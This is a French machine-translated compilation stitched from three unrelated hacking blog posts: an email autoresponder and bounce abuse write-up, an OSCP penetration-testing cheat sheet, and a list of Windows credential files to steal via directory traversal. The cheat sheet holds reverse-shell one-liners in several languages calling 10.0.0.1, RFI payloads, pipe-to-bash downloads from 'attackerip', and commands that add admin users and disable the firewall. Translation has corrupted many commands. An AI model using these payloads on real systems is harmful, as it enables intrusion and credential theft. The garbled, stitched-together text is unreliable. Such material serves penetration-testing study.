📌👀✨🦆💨🌴👉💥⚡🌼🔊🎵👌

xXx

xXx

Abuser des répondeurs automatiques et des rebonds par e-mail

Inti De Ceukelaire

Inti De Ceukelaire

Suivant

21 févr.2019 · 6 min de lecture

Étant un chasseur de primes, je suis confronté à beaucoup de concurrence. De nombreuses entreprises sont disposées à récompenser les vulnérabilités de leurs systèmes, mais uniquement si elles n'ont pas été signalées par quelqu'un d'autre. Si vous voulez battre les chances de trouver des doublons, vous feriez mieux de rechercher des bogues là où d'autres ne le font pas.

Plutôt que de me concentrer sur une cible de prime, j'essaie de trouver des vulnérabilités dans des fonctionnalités ou des intégrations largement utilisées. Après avoir trouvé une telle faille dans les portails d'assistance que j'ai appelé «Ticket Trick», j'ai trouvé que les systèmes de messagerie pouvaient être un point d'intrusion intéressant pour les attaquants. Les e-mails de service contiennent souvent des informations sensibles et des jetons, mais fonctionnent séparément de l'application principale et de ses modèles de sécurité.

Comme leur nom l'indique, les répondeurs automatiques renvoient automatiquement des informations aux e-mails entrants. Il peut s'agir d'un message d'absence du bureau, d'un renvoi d'e-mail ou d'un message de service. Il s'avère que certains d'entre eux incluent des informations sensibles que les attaquants peuvent abuser pour contourner les modèles d'authentification.

J'ai appris que vous pouviez utiliser les commandes RCPT et VRFY SMPT pour cartographier les alias de messagerie que mes cibles utilisent, pour éviter de les spammer avec mes e-mails de test:

Utilisez RCPT ou VRFY pour vérifier s'il existe une adresse e-mail

Les alias que j'ai souvent rencontrés comprenaient:

  • Boîtes de réception de support : support @, helpdesk @, customerservice @, help @,…
    Ces boîtes de réception sont parfois vulnérables au «
    Ticket Trick » que j'ai mentionné plus tôt.
  • Systèmes de facturation : billing @, finance @,…
    Certains systèmes de facturation téléchargent ou analysent automatiquement les pièces jointes des e-mails entrants, ce qui conduit à XSS aveugle ou, dans le pire des cas, RCE par téléchargement de fichiers arbitraire.
  • Services: imprimante @, impression @, uploads @, ftp @, test @,…
    Dans certains cas, ces adresses e-mail conduiraient à des actions non autorisées. Combinée à l'
    usurpation d'e-mail , l'adresse printing @ e-mail permet parfois à des attaquants distants d'ajouter des documents à la file d'attente d'imprimante de quelqu'un d'autre.
  • Suivi des tickets : tickets @, jira @, helpdesk @, bugs @, issues @…
    Un certain nombre d'entreprises autorisent la création de tickets internes par e-mail pour plus de commodité, mais ne limitent pas la création de tickets aux membres de leur propre entreprise. Certains répondeurs automatiques de suivi des problèmes internes sont configurés pour créer un compte pour chaque utilisateur inconnu qui soumet un problème, d'autres incluent un lien d'inscription comme dans l'exemple ci-dessous. Les deux se traduiront par des attaquants distants ayant accès à des parties de votre système de ticket interne, en fonction de ses paramètres d'autorisation.

Répondeurs automatiques mal configurés sont heureux de fournir des comptes pour les suiveurs de problèmes internes pour quiconque

Un autre type de réponse automatisée est les rebonds d'e-mails qui se produisent lorsqu'un e-mail ne peut pas être remis pour une raison quelconque. Étant donné que les rebonds d'e-mail incluent uniquement l'e-mail d'origine envoyé par l'attaquant et certaines métadonnées, ils ne semblent pas être directement exploitables - à moins que ces informations ne soient inconnues de l'attaquant et contiennent des informations confidentielles, comme c'est le cas avec les éléments suivants exemples:

Fuite de métadonnées Google Drive

Pendant la reconnaissance, je tombe souvent sur des documents Google Drive protégés. Je clique toujours sur le bouton "Demander l'accès", souvent avec un taux de réussite très faible:

Ce qui m'a frappé, c'est la façon dont cette demande a été envoyée: dans les coulisses, Google enverrait une demande d'accès aux e-mails provenant de mon adresse e-mail . Cet e-mail ressemblerait à ceci:

Cet e-mail provient de l'e-mail de l'attaquant, mais contient des informations confidentielles

Étant donné que l'en- tête FROM et le chemin de retour sont définis sur le courrier électronique de l'attaquant, les informations confidentielles seraient renvoyées en cas de rebond, il nous suffit de trouver un moyen de renvoyer la demande d'accès au courrier électronique. L'un des moyens par lesquels un attaquant pourrait atteindre cet objectif est de bombarder une cible par e-mail, pour finalement atteindre la limite de capacité de la boîte de réception de la victime.

Une fois que la boîte de réception de la victime est pleine, l'e-mail de demande d'accès est renvoyé à l'attaquant, révélant l'adresse e-mail du propriétaire et le titre du document:

Si la boîte de réception d'un propriétaire de document était pleine, Google avait l'habitude de renvoyer son adresse e-mail et le titre du document

Google a résolu ce problème et a accordé une prime dans le cadre de son programme de rapport de vulnérabilité .

Démasquer les alias de messagerie

Comme on le voit dans l'exemple précédent, les rebonds d'e-mail incluent l'adresse e-mail du destinataire. Cela est utile pour déterminer l'adresse e-mail de destination masquée par un alias de redirection de courrier électronique. Si [email protected] redirige les e-mails vers [email protected] , les rebonds vers l' e-mail du webmaster révéleraient en fait l'adresse e-mail de john.doe:

[email protected][email protected][email protected]

Dans une situation normale, l'attaquant ne serait pas en mesure de divulguer l'adresse e-mail finale, mais si l'attaquant peut forcer un rebond, [email protected] renverra l'e-mail directement à [email protected], divulguer l'adresse e-mail de destination.

Une façon de forcer un rebond du côté de john.doe est de configurer une politique DMARC stricte pour acme.com contrôlé par l'attaquant , ce qui garantit que d'autres services ne peuvent pas facilement usurper ou transmettre. Les attaquants pourraient envoyer un e-mail non authentifié au transitaire: [email protected], qui transmettrait ensuite l'e-mail à l'adresse gmail. À l'arrivée, les serveurs de Google le rebondiraient, car il ne respecte pas la politique DMARC de l'expéditeur. Le rebond comprendrait l'adresse e-mail d'origine.

Scénario réel: plates-formes de primes aux bogues

Comme beaucoup d'autres plates-formes de primes de bogues, intigriti utilise des alias de courrier électronique de pirate. Les pirates éthiques reçoivent une adresse e-mail <username> @ intigriti.me lors de l'inscription qu'ils peuvent utiliser pour s'inscrire aux programmes qu'ils testent. En utilisant la méthode décrite ci-dessus, il était auparavant possible d'obtenir l'adresse e-mail liée à un nom d'utilisateur.

Un e-mail non authentifié de [email protected] à [email protected] entraînerait le rebond suivant, en cas acme.com a une politique stricte DMARC:

Le rebond a révélé la véritable adresse e-mail derrière [email protected]

Comme vous pouvez le voir, mon adresse e-mail personnelle, [email protected] serait incluse dans le renvoi d'e-mail.

Les développeurs intigriti ont corrigé la vulnérabilité en n'utilisant plus l'adresse e-mail d'origine comme adresse de rebond . J'ai également testé d'autres plates-formes de bug bounty, donc pas besoin de les spammer avec des e-mails de test.


Pensées de clôture

En tant que chasseur de primes, il peut être utile d'essayer de trouver des scénarios d'attaque très spécifiques, puis de rechercher des cibles qui correspondent à cette configuration par la suite. Cela entraîne souvent des bogues uniques et créatifs et réduit les risques de doublon. Lorsque vous testez des vulnérabilités liées au courrier électronique, vérifiez la portée du programme et assurez-vous de ne pas spammer - les entreprises n'apprécieront pas cela. En cas de doute, demandez.

En tant qu'entreprise, il peut être intéressant de se pencher sur les services activés par courrier électronique et les suiveurs de billets internes associés à votre domaine. Ne vous contentez pas de vérifier si l'adresse e-mail d'origine correspond au domaine de votre entreprise, car les e-mails sont facilement falsifiés et vos répondeurs peuvent être utilisés contre vous. En d'autres termes, traitez vos flux de messagerie avec le même soin de sécurité que vous traitez votre produit principal - car très souvent, ils traitent les mêmes données sensibles.

524 applaudissements

Inti De Ceukelaire

ÉCRIT PAR

Inti De Ceukelaire

Suivant

Hacker @securinti | Dev créatif @intidc | @VRT | @stubru

intigriti

intigriti

Suivre

Plateforme de piratage éthique - intigriti.com

Voir les réponses (3)

Trucs et astuces pratiques de piratage

Luke Stephens (@hakluke)

Luke Stephens (@hakluke)

Suivre

31 mars 2018 · 14 min de lecture

L'homme passe la porte avec une grande ombre. Le logo de sécurité OFFENSIVE apparaît de façon spectaculaire dans un abîme rouge.

Donc, vous vous êtes finalement inscrit, payé l'argent, attendu la date de début, connecté au VPN et vous êtes soudainement frappé au visage avec une pléthore de boîtes vulnérables et vous ne savez pas par où commencer.

Cette partie du guide montrera le processus général que j'ai tendance à utiliser lorsque j'approche une nouvelle cible dans les laboratoires OSCP. Ce n'est en aucun cas un remplacement pour lire le manuel PWK et faire les exercices, c'est un bref aperçu de certains types de vulnérabilités majeures et quelques conseils. Vous pouvez toujours vous référer à ce post plus tard, en l'utilisant comme aide-mémoire pour la syntaxe des commandes.

Nmap

Tout d'abord, nous devons savoir quelles boîtes existent sur le réseau nmap exécuter un scan ping:

nmap -sn 10.0.0.0/24

La commande ci-dessus testera si toutes les machines du sous-réseau 10.0.0.0/24 sont actives (10.0.0.0–10.0.0.255). Vous devrez peut-être modifier cela pour le réseau de laboratoire.

Une fois que j'ai choisi un hôte, la première chose que je fais toujours est:

nmap -A -oA nmap $ targetip

Cela analysera les 1024 ports les plus courants, exécutera la détection du système d'exploitation, exécutera les scripts nmap par défaut et enregistrera les résultats dans un certain nombre de formats dans le répertoire actuel.

Numérisation plus approfondie:

nmap -v -p- -sT $ targetip

Cela analysera tous les 65535 ports sur $ targetip avec une analyse de connexion complète. Cette analyse prendra probablement beaucoup de temps. Le -v signifie verbeux, de sorte que lorsqu'un nouveau port est découvert, il l'imprimera immédiatement au lieu d'avoir à attendre la fin de l'analyse, l'analyse de ce nombre de ports sur Internet prend beaucoup de temps. Je laissais souvent l'analyse en cours de nuit, ou je passais à une autre boîte entre-temps.

Services de sondage

À partir de ces analyses nmap initiales, nous aurions dû obtenir beaucoup d'informations sur la machine - nous savons quels ports sont ouverts et généralement quels services ils exécutent.

HTTP (S)

Si le serveur exécute HTTP ou HTTPS, l'étape logique suivante consiste à le vérifier dans un navigateur Web. Que montre-t-il? S'agit-il d'une application Web potentiellement vulnérable? S'agit-il d'une page de serveur Web par défaut qui révèle des informations de version?

Sonder avec Nikto

Nikto est un excellent scanner pour les serveurs Web.

nikto -host $ targetip -port $ targetport

Brute forçant les répertoires et fichiers HTTP (s) avec dirsearch

Il existe de nombreux outils à cet effet, y compris dirb, dirbuster et gobuster - tous ont leurs avantages et doivent être appris, mais mon préféré est dirsearch. Vous pouvez l'obtenir sur https://github.com/maurosoria/dirsearch . Cette syntaxe vous aidera à démarrer, elle définit un fichier de liste de mots, une URL et une extension de fichier à rechercher.

./dirsearch.py ​​-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u $ targetip -e php

Mais dirsearch peut faire plus! Vérifiez le fichier README.

SMB

Scripts Nmap

Kali est livré avec un tas de très bons scripts nmap qui peuvent être utilisés pour sonder davantage SMB - ces scripts peuvent être consultés avec la commande suivante.

localiser * .nse | grep smb

L'utilisation des scripts est aussi simple que:

nmap -p 139,445 --script = $ scriptname $ targetip

Notez que le paramètre de script accepte également les caractères génériques, par exemple, pour essayer tous les scripts de test de vulnérabilité nmap SMB, utilisez:

nmap -p 139,445 --script = smb-vuln * $ targetip

Enum4Linux

enum4linux est un excellent outil pour sonder SMB à la recherche d'informations intéressantes - et parfois accéder à des partages! Cet outil a beaucoup d'options à retenir, donc je lance généralement juste l'option -a "tout faire", qui ressemble à ceci:

enum4linux -a $ targetip

smbclient

Cet outil permet de se connecter à une box via SMB. Il fonctionne essentiellement comme un client FTP en ligne de commande. Parfois, vous pouvez vous connecter à une boîte et parcourir les fichiers sans même avoir d'informations d'identification, donc ça vaut le coup!

smbclient \\\\ $ ip \\ $ share

FTP

Accès anonyme

Il existe un certain nombre de scripts nmap qui peuvent aider à énumérer FTP, mais la toute première chose à vérifier est de savoir si l'accès anonyme est activé.

ftp $ targetip

Nom d'utilisateur: anonyme

Mot de passe: n'importe quoi

Cela a différents degrés de succès, la plupart du temps, cela ne fonctionnera pas. Parfois, vous pourrez lire des fichiers mais pas les écrire, et d'autres fois, vous aurez un accès complet en lecture et en écriture.

SSH

Hormis quelques rares exceptions, SSH n'est pas susceptible d'être vulnérable. À moins qu'il n'exécute une étrange version de SSH, ou une version particulièrement ancienne, je ne prendrais généralement pas la peine de l'explorer davantage. Notez simplement qu'il est là, et si vous trouvez des informations d'identification ailleurs sur le système, essayez de l'utiliser sur SSH!

Autres services

Prise de bannière manuelle

Vous pouvez toujours vous connecter à un service à l'aide de netcat et voir quelles informations il vous donne.

nc $ targetip $ port

Trouver des exploits

Searchsploit recherchera tous les exploits de la base de données exploit-db. Pour mettre à jour votre base de données:

searchsploit -u

Pour rechercher des exploits sur un service, un noyau ou un système d'exploitation particulier.

searchsploit $ multiple $ termes de recherche $

Google

Google est une bonne source d'informations, whodathunkit? Essayez les termes de recherche qui contiennent le nom du service, la version et le mot «exploiter». Par exemple,

exploit proftpd 1.3.5

Metasploit

Metasploit est un tout autre sac dans lequel je n'entrerai pas trop dans cet article, mais si vous cherchez à rechercher dans metasploit, exécutez simplement à search $searchtermpartir de msfconsole. Remarque - il existe de lourdes restrictions sur l'utilisation de metasploit dans l'examen, alors ne vous y fiez pas trop. Lorsque vous l'utilisez, jetez un coup d'œil au module de métasploit que vous utilisez et assurez-vous de comprendre comment il fonctionne. Peut-être même essayez de le porter sur un exploit autonome!

Webapps - Que rechercher

Les Webapps sont un point d'entrée commun. Ils peuvent être vulnérables à de nombreuses vulnérabilités différentes, et avec de la pratique, vous serez mieux à même de les trouver.

Tout d'abord, s'agit-il d'une application Web connue ou personnalisée? Essayez de rechercher le nom, regardez le code source, recherchez les numéros de version et les écrans de connexion. S'il s'agit d'une webapp connue - vous pourriez trouver une vulnérabilité connue en utilisant searchsploit ou google.

Suite Burp

Burp suite est un outil très pratique pour tester les webapps. J'irais jusqu'à dire que c'est mon seul outil de test de pénétration préféré. Si vous créez une charge utile RCE ou une injection SQL, il est beaucoup plus rapide et plus facile d'envoyer la requête HTTP au répéteur en burp et d'y éditer la charge utile que d'essayer de la modifier dans le navigateur. Cela vaut également la peine d'apprendre les fonctionnalités de Burp les plus avancées, à la fois pour OSCP et pour votre avenir dans le cyber!

Injections SQL

Si un développeur est incompétent et / ou paresseux, un champ de texte dans une webapp peut parfois finir par être transmis (non analysé) dans une requête SQL. Si tel est le cas, vous pourrez peut-être utiliser cette vulnérabilité pour contourner les formulaires de connexion, vider les bases de données (informations d'identification?) Et même écrire des fichiers. Un résumé complet des méthodes d'injection SQL serait un tout autre article, mais pour l'instant, vous pouvez consulter les guides OWASP et utiliser SQLMap. Important - cet outil n'est PAS autorisé à être utilisé dans l'examen du tout, cependant, vous devez apprendre à l'utiliser en l'expérimentant dans les laboratoires.

Un énorme gain de temps lors de l'apprentissage de SQLMap consiste à utiliser le commutateur -r. Vous pouvez intercepter la demande vulnérable à l'aide d'un proxy comme Burp, l'enregistrer dans un fichier texte, puis utiliser SQLMap pour l'analyser simplement en exécutant:

sqlmap -r fichier.req

Il m'a fallu un temps embarrassant pour trouver cette fonctionnalité. Ne sois pas comme moi. Écrire les détails de la demande sur la ligne de commande est nul.

Inclusions de fichiers

Parfois, nous pouvons inclure un fichier de notre choix dans le code de l'application web. Si nous pouvons en quelque sorte injecter notre propre code dans ce fichier - nous avons l'exécution des commandes. Il existe deux types de vulnérabilités d'inclusion de fichiers: les inclusions de fichiers locaux (LFI) et les inclusions de fichiers distants (RFI).

Les RFI se produisent lorsque vous pouvez inclure un fichier distant (peut-être un qui est hébergé sur votre machine locale). Les RFI sont généralement plus faciles à exploiter, car vous pouvez simplement héberger du code sur votre machine locale et pointer la RFI vers ce code pour l'exécuter.

Les LFI se produisent lorsque vous pouvez inclure un fichier sur la machine cible, ils peuvent être pratiques pour lire des fichiers locaux (tels que / etc / passwd), mais si vous pouvez en quelque sorte injecter votre propre code dans le système quelque part, vous pouvez souvent transformer un LFI dans l'exécution de code à distance.

Disons que nous avons un pageparamètre qui est vulnérable à une vuln d'inclusion de fichier dans l'URL suivante:

http://target.com/?page=home

S'il s'agit d'une boîte Linux, nous pourrions tester un LFI en accédant à:

http://target.com/?page=./../../../../../../../../../etc/passwd%00

Si la boîte est vulnérable, nous pourrions voir le contenu de / etc / passwd sur la cible imprimée sur la page.

Si vous étiez super observateur, vous avez peut-être remarqué que j'ai mis un% 00 à la fin de l'URL. C'est ce qu'on appelle un octet nul, et son but est de terminer la chaîne. Cette technique ne fonctionne pas sur les nouvelles versions de PHP, mais j'ai trouvé qu'elle fonctionnait pour de nombreuses vulnérabilités LFI / RFI dans les laboratoires. Si le code vulnérable sous-jacent ressemble à ceci:

include ($ page. '.php');

Ensuite, sans l'octet nul à la fin, nous demanderions /etc/passwd.php, qui n'existe pas. L'octet nul termine la chaîne, ce qui signifie que notre attaque est susceptible de réussir.

Parfois, les vulnérabilités LFI sont également des vulnérabilités RFI - pour tester si cette application est vulnérable aux RFI, nous pourrions héberger notre propre fichier sur http: //hackerip/evil.txt qui contient notre propre code, puis visiter cette URL:

http://target.com/?page=http://hackerip/evil.txt%00

En cas de succès, le code contenu dans evil.txt sera exécuté sur notre cible.

Injection de code et de commande

À certaines occasions, vous pouvez rencontrer des applications Web qui permettent l'exécution directe de code. Cela se présente sous de nombreuses formes, il peut s'agir d'un backend Wordpress (qui, par défaut, permet l'édition de fichiers PHP), d'un émulateur de terminal basé sur le Web, d'un sandbox PHP / Python / Perl, ou d'une sorte d'outil en ligne qui exécute une commande système avec entrée utilisateur et affiche la sortie.

Il y a trop de pistes à explorer ici, mais utilisez votre imagination. Essayez de réfléchir à l'apparence du code sur le backend et à la manière dont vous pourriez injecter vos propres commandes.

J'ai une exécution de commande, maintenant quoi?

Si vous avez trouvé une sorte de vulnérabilité d'exécution de code, il est temps de passer à un shell.

Coquilles inversées

Un shell inversé est lorsque vous faites vous reconnecter votre machine cible à votre machine et créez un shell. Faire sauter un shell est la partie la plus excitante de tout hack.

REMARQUE: la plupart des versions de netcat n'ont pas -e intégré

Si vous n'êtes pas sûr de ce que fait -e, il vous permet de spécifier une commande pour diriger à travers votre shell inverse. Il y a une bonne raison pour laquelle il est désactivé sur la plupart des versions de netcat - c'est un trou de sécurité béant. Cela dit, si vous attaquez une machine Linux, vous pouvez contourner ce problème en utilisant le one-liner inversé suivant.

rm / tmp / f; mkfifo / tmp / f; cat / tmp / f | / bin / sh -i 2> & 1 | nc 10.0.0.1 1234> / tmp / f

Ce qui redirigera / bin / sh vers 10.0.0.1 sur le port 1234, sans utiliser le commutateur -e. Cela nous amène à la section suivante bien.

Une collection de lignes inversées à un shell Linux

Ces one-liners se trouvent tous sur pentestmonkey.net . Ce site Web contient également un tas d'autres trucs utiles!

Frapper

bash -i> & /dev/tcp/10.0.0.1/8080 0> & 1

Perl

perl -e 'utilise Socket; $ i = "10.0.0.1"; $ p = 1234; socket (S, PF_INET, SOCK_STREAM, getprotobyname ("tcp")); if (connect (S, sockaddr_in ($ p, inet_aton ( $ i)))) {open (STDIN, "> & S"); open (STDOUT, "> & S"); open (STDERR, "> & S"); exec ("/ bin / sh -i");} ; »

Python

python -c 'importe socket, sous-processus, os; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect (("10.0.0.1", 1234)); os.dup2 (s.fileno () , 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p = subprocess.call (["/ bin / sh", "- i"]); '

PHP

php -r '$ sock = fsockopen ("10.0.0.1", 1234); exec ("/ bin / sh -i <& 3> & 3 2> & 3");'

Rubis

ruby -rsocket -e'f = TCPSocket.open ("10.0.0.1", 1234) .to_i; exec sprintf ("/ bin / sh -i <&% d> &% d 2> &% d", f, f, f) »

Netcat avec -e

nc -e / bin / sh 10.0.0.1 1234

Netcat sans -e (mon préféré)

rm / tmp / f; mkfifo / tmp / f; cat / tmp / f | / bin / sh -i 2> & 1 | nc 10.0.0.1 1234> / tmp / f

Java

r = Runtime.getRuntime ()

p = r.exec (["/ bin / bash", "- c", "exec 5 <> / dev / tcp / 10.0.0.1 / 2002; cat <& 5 | while read line; do \ $ line 2> & 5> & 5; done "] as String [])

p.waitFor ()

Coques inversées Windows?

Windows est un peu un animal différent car il ne vient pas avec les mêmes beaux outils de ligne de commande qui nous gâtent sous Linux. Si nous avons besoin d'un shell inversé, notre point d'entrée était très probablement une sorte de capacité de téléchargement de fichiers ou de rce, souvent via une application Web.

Premièrement, si vous trouvez un système Windows avec Perl (peu probable), donnez-lui un tourbillon ( source ):

perl -MIO -e '$ c = new IO :: Socket :: INET (PeerAddr, "$ attackerip: 4444"); STDIN-> fdopen ($ c, r); $ ~ -> fdopen ($ c, w) ; system $ _ while <>; '

Sinon, nous avons quelques options:

  • Essayez de télécharger nc.exe, puis exécutez quelque chose comme «nc.exe -e cmd.exe attackerip 1234».
  • Si nous avons affaire à un serveur IIS, créez notre propre charge utile de shell inversé .asp ou .aspx avec msfvenom, puis exécutez-le.
  • Injection Powershell

Voici quelques autres commandes utiles sur Windows. Si la machine à laquelle vous faites face a RDP activé (port 3389), vous pouvez souvent créer votre propre utilisateur et l'ajouter au groupe "Utilisateurs du Bureau à distance", puis connectez-vous simplement via le Bureau à distance.

Ajouter un utilisateur sur Windows:

utilisateur net $ username $ password / add

Ajoutez un utilisateur au groupe «Utilisateurs du Bureau à distance»:

net localgroup "Remote Desktop Users" $ username / add

Faire d'un utilisateur un administrateur:

administrateurs de groupe local net $ username / add

Désactivez le pare-feu Windows sur les versions plus récentes:

NetSh Advfirewall désactive l'état de tous les profils

Désactivez le pare-feu Windows sur les anciennes fenêtres:

netsh firewall set opmode disable

Génération de charges utiles avec msfvenom

Si vous n'êtes pas déjà familier avec msfvenom, c'est un must absolu pour OSCP. Msfvenom fait partie du cadre Metasploit et est utilisé pour générer des charges utiles qui font toutes sortes de choses mauvaises, de la génération de shells inverses à la génération de boîtes de message pour un joli PoC.

Je ne veux pas couvrir msfvenom en détail ici, car vous pouvez le trouver facilement dans d'autres endroits, comme le site Web offsec .

Méthodes de transfert de fichiers - Linux

Une fois que vous avez exécuté la commande, il y a de fortes chances que vous souhaitiez transférer des fichiers vers la zone victime.

Tout d'abord - vous devez trouver un répertoire dans lequel vous pouvez écrire. Les premiers endroits à rechercher sont /tmpou /dev/shmmais si cela ne fonctionne pas pour vous, cette commande devrait trouver des répertoires accessibles en écriture:

trouver / -type d \ (-perm -g + w -ou -perm -o + w \) -exec ls -adl {} \;

HTTP (S)

Maintenant que nous avons trouvé un endroit où transférer, il est temps de transférer les fichiers! Le moyen le plus rapide et le plus simple de transférer des fichiers vers une victime Linux est de configurer un serveur HTTP sur votre box Kali. Si vous aimez être inefficace, configurez Apache. Si vous préférez garder les choses faciles, accédez au répertoire contenant le ou les fichiers que vous souhaitez transférer et exécuter:

root @ kali # python -m SimpleHTTPServer 80

Extraire les fichiers sur n'importe quelle machine Linux victime devrait être aussi simple que

wget http: // attackerip / fichier

Ou

curl http: // attackerip / file > fichier

Netcat

Si les transferts de fichiers HTTP ne sont pas une option, envisagez d'utiliser netcat. Configurez d'abord votre victime pour écouter la demande entrante et diriger la sortie vers un fichier (il est préférable d'utiliser un numéro de port élevé, car l'utilisation de numéros de port <1024 n'est souvent pas autorisée sauf si vous êtes root):

nc -nvlp 55555> fichier

Maintenant de retour sur votre machine Kali, envoyez le fichier!

nc $ victimip 55555 <fichier

Méthodes de transfert de fichiers - Windows

Si vous attaquez Windows, le transfert de fichiers peut être un peu plus délicat. Ma méthode préférée (que j'ai apprise du manuel OSCP!) Est de créer votre propre wget Windows en écrivant un script VBS. Vous pouvez d'abord créer le fichier ligne par ligne en exécutant ces commandes:

echo strUrl = WScript.Arguments.Item (0)> wget.vbs

echo StrFile = WScript.Arguments.Item (1) >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG. vbs

echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs

echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs

echo Err.Clbs

echo Set http = Nothing >> wget.vbs

echo Set http = CreateObject ("WinHttp.WinHttpRequest.5.1") >> wget.vbs

echo Si http n'est rien, définissez http = CreateObject ("WinHttp.WinHttpRequest") >> wget. vbs

echo Si http n'est rien alors définissez http = CreateObject ("MSXML2.ServerXMLHTTP") >> wget.vbs

echo Si http n'est rien alors définissez http = CreateObject ("Microsoft.XMLHTTP") >> wget.vbs

echo http.Open "GET ", strURL, False >> wget.vbs

echo http.Send >> wget.vbs

echo varByteArray = http.ResponseBody >> wget.vbs

echo Set http = Nothing >> wget.vbs

echo Set fs = CreateObject (" Scripting.FileSystemObject ") >> wget.vbs

echo Set ts = fs.CreateTextFile (StrFile, True) >> wget.vbs

echo strData =" ">> wget.vbs

echo strBuffer =" ">> wget.vbs

echo For lngCounter = 0 to UBound (varByteArray) >> wget.vbs

écho ts.Write Chr (255 And Ascb (Midb (varByteArray, lngCounter + 1, 1))) >> wget.vbs

echo Next >> wget.vbs

echo ts.Fermer >> wget.vbs

Ensuite, l'utilisation de votre script ressemble à ceci:

cscript wget.vbs http: //attackerip/evil.exe evil.exe

Si vous attaquez une boîte Windows et que cette méthode ne fonctionnera pas pour vous, pensez à essayer TFTP ou SMB comme autres méthodes de transfert de fichiers. Si vous êtes chanceux, il peut également y avoir une méthode de téléchargement de fichiers dans une application Web.

Mise à niveau des shells inversés pour qu'ils soient entièrement interactifs

Faire sauter un shell inversé est passionnant, mais ce n'est pas tout à fait la même chose qu'un shell entièrement interactif. Vous n'aurez pas terminé la tabulation, vous ne pouvez pas exécuter de programmes interactifs (y compris sudo), et si vous appuyez sur Ctrl + C, vous reviendrez à votre boîte locale, qui craint. Donc! Voici comment mettre à niveau votre shell inversé Linux.

python -c "import pty; pty.spawn ('/ bin / bash')"

Vous devriez obtenir une invite plus jolie, mais votre travail n'est pas encore terminé. Appuyez sur Ctrl + Z pour mettre en arrière-plan votre shell inversé, puis dans votre exécution de machine locale:

stty raw -echo

fg

Les choses vont vraiment mal tourner à ce stade, mais ne vous inquiétez pas. Tapez resetet appuyez sur Retour. Vous devriez être présenté avec un shell entièrement interactif. Je vous en prie.

Il y a encore un petit truc qui peut arriver, le shell n'est peut-être pas la bonne hauteur / largeur pour votre terminal. Pour résoudre ce problème, accédez à votre ordinateur local et exécutez:

taille stty

Cela devrait renvoyer deux nombres, qui sont le nombre de lignes et de colonnes dans votre terminal. Par exemple, disons que cette commande a renvoyé 48 120Head on sur le shell de votre box victime et exécutez ce qui suit.

stty -rows 48 -columns 120

Vous avez maintenant un beau shell interactif à vous vanter. Il est temps de privesc!

Escalade de privilèges - Linux

Je ne vais pas entrer dans les détails ici parce que ce billet est déjà trop long, et il y a beaucoup à dire! Je vais vous montrer quelques choses que j'essaie d'abord, puis je vous renvoie au post de g0tmi1k, qui comblera les lacunes.

Mauvaise configuration de Sudo

Tout d'abord, si vous avez trouvé des mots de passe sur le système, essayez de les utiliser pour devenir root en exécutant:

sudo su

Sinon, essayez de lancer:

sudo -l

Parfois, sudo vous permettra d'exécuter certaines commandes en tant que root ou de devenir un utilisateur différent. Si la boîte est configurée de cette façon dans les laboratoires OSCP, il y a de fortes chances que ce soit votre chemin vers root.

Exploits du noyau

La deuxième chose que j'essaie est:

uname -ar

cat / etc / issue

cat / etc / * - release

cat / etc / lsb-release # Debian

cat / etc / redhat-release # Redhat based

Ces commandes vous indiqueront le noyau et la distribution que vous regardez. Si vous avez de la chance, googler la version du noyau et / ou la version de distribution peut révéler des exploits connus d'élévation de privilèges à essayer.

Linenum

Si vous êtes dans l'automatisation et l'efficacité, consultez LinEnum.sh. C'est un excellent script bash qui énumère de nombreuses erreurs de configuration courantes dans les systèmes Linux. Vous pouvez l'obtenir ici: https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

Pour une efficacité d'énumération de niveau supérieur, hébergez lineaum.sh sur un serveur Web sur votre boîte Kali, puis sur la victime, exécutez simplement:

curl http: //attackerip/LinEnum.sh | / bin / bash

G0tmi1k?

Enfin, rendons hommage à l'article sur l'escalade de privilèges Linux le plus référencé de tous les temps par g0tmi1k: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Escalade de privilèges - Windows

La première chose que j'essaie est de rechercher un exploit connu pour la version de Windows à laquelle vous êtes confronté. Pour savoir à quelle version de Windows vous êtes confronté, essayez ceci:

systeminfo | findstr / B / C: "OS Name" / C: "OS Version"

Si cela ne fonctionne pas, vous devez le faire à la dure. Ceci est un article assez complet qui m'a aidé plus d'une fois: http://www.fuzzysecurity.com/tutorials/16.html

Où sont les autres parties de ce guide?

Si vous n'avez pas encore fini de lire, les autres parties de ce guide sont ci-dessous:

Guide ultime OSCP de L uke: Partie 1 - OSCP est-il pour vous? Certaines choses que vous devez savoir avant de commencer

L uke’s Ultimate OSCP Guide: Part 2 - Workflow and documentation tips

La fin?

Le but de ce post est de fournir quelques conseils qui m'ont aidé dans mon parcours OSCP. Si vous pensez qu'il manque quelque chose, avez des questions ou souhaitez simplement discuter, contactez-nous! L'endroit le plus simple pour me trouver est sur Twitter , ou ici sur Medium.


Fichiers sensibles à saisir sous Windows

Luke Stephens (@hakluke)

Luke Stephens (@hakluke)

Suivre

15 févr.2018 · 2 min de lecture

Temps de scénario - vous venez de découvrir que vous êtes en mesure d'accéder à un système de fichiers Windows complet via un vuln de traversée de répertoire dans une webapp. Vous n'avez pas d'exécution de commande, et votre plan est de retirer toutes les données potentiellement sensibles des fichiers seuls. Quels fichiers devez-vous vérifier?

J'ai été inspiré pour écrire ce post après avoir lu ce tweet de @ egyp7 :

L'article n'est qu'un ensemble de réponses fournies par la communauté Twitter, mélangées à quelques-unes des miennes, et certaines d'un excellent article post-exploitation de Windows par mubix que vous pouvez télécharger ici , organisé en une belle liste. Contactez-nous si vous pensez qu'il en manque!

Remarque:% windir% peut généralement être remplacé par C: \ windows

% windir% \ repair \ sam

% windir% \ System32 \ config \ RegBack \ SAM

% windir% \ repair \ system

% windir% \ repair \ software

% windir% \ repair \ security

% windir% \ debug \ NetSetup.log (AD nom de domaine, nom DC, IP interne, compte DA)

% windir% \ iis6.log (5,6 ou 7)

% windir% \ system32 \ logfiles \ httperr \ httperr1.log

C: \ sysprep.inf

C: \ sysprep \ sysprep.inf

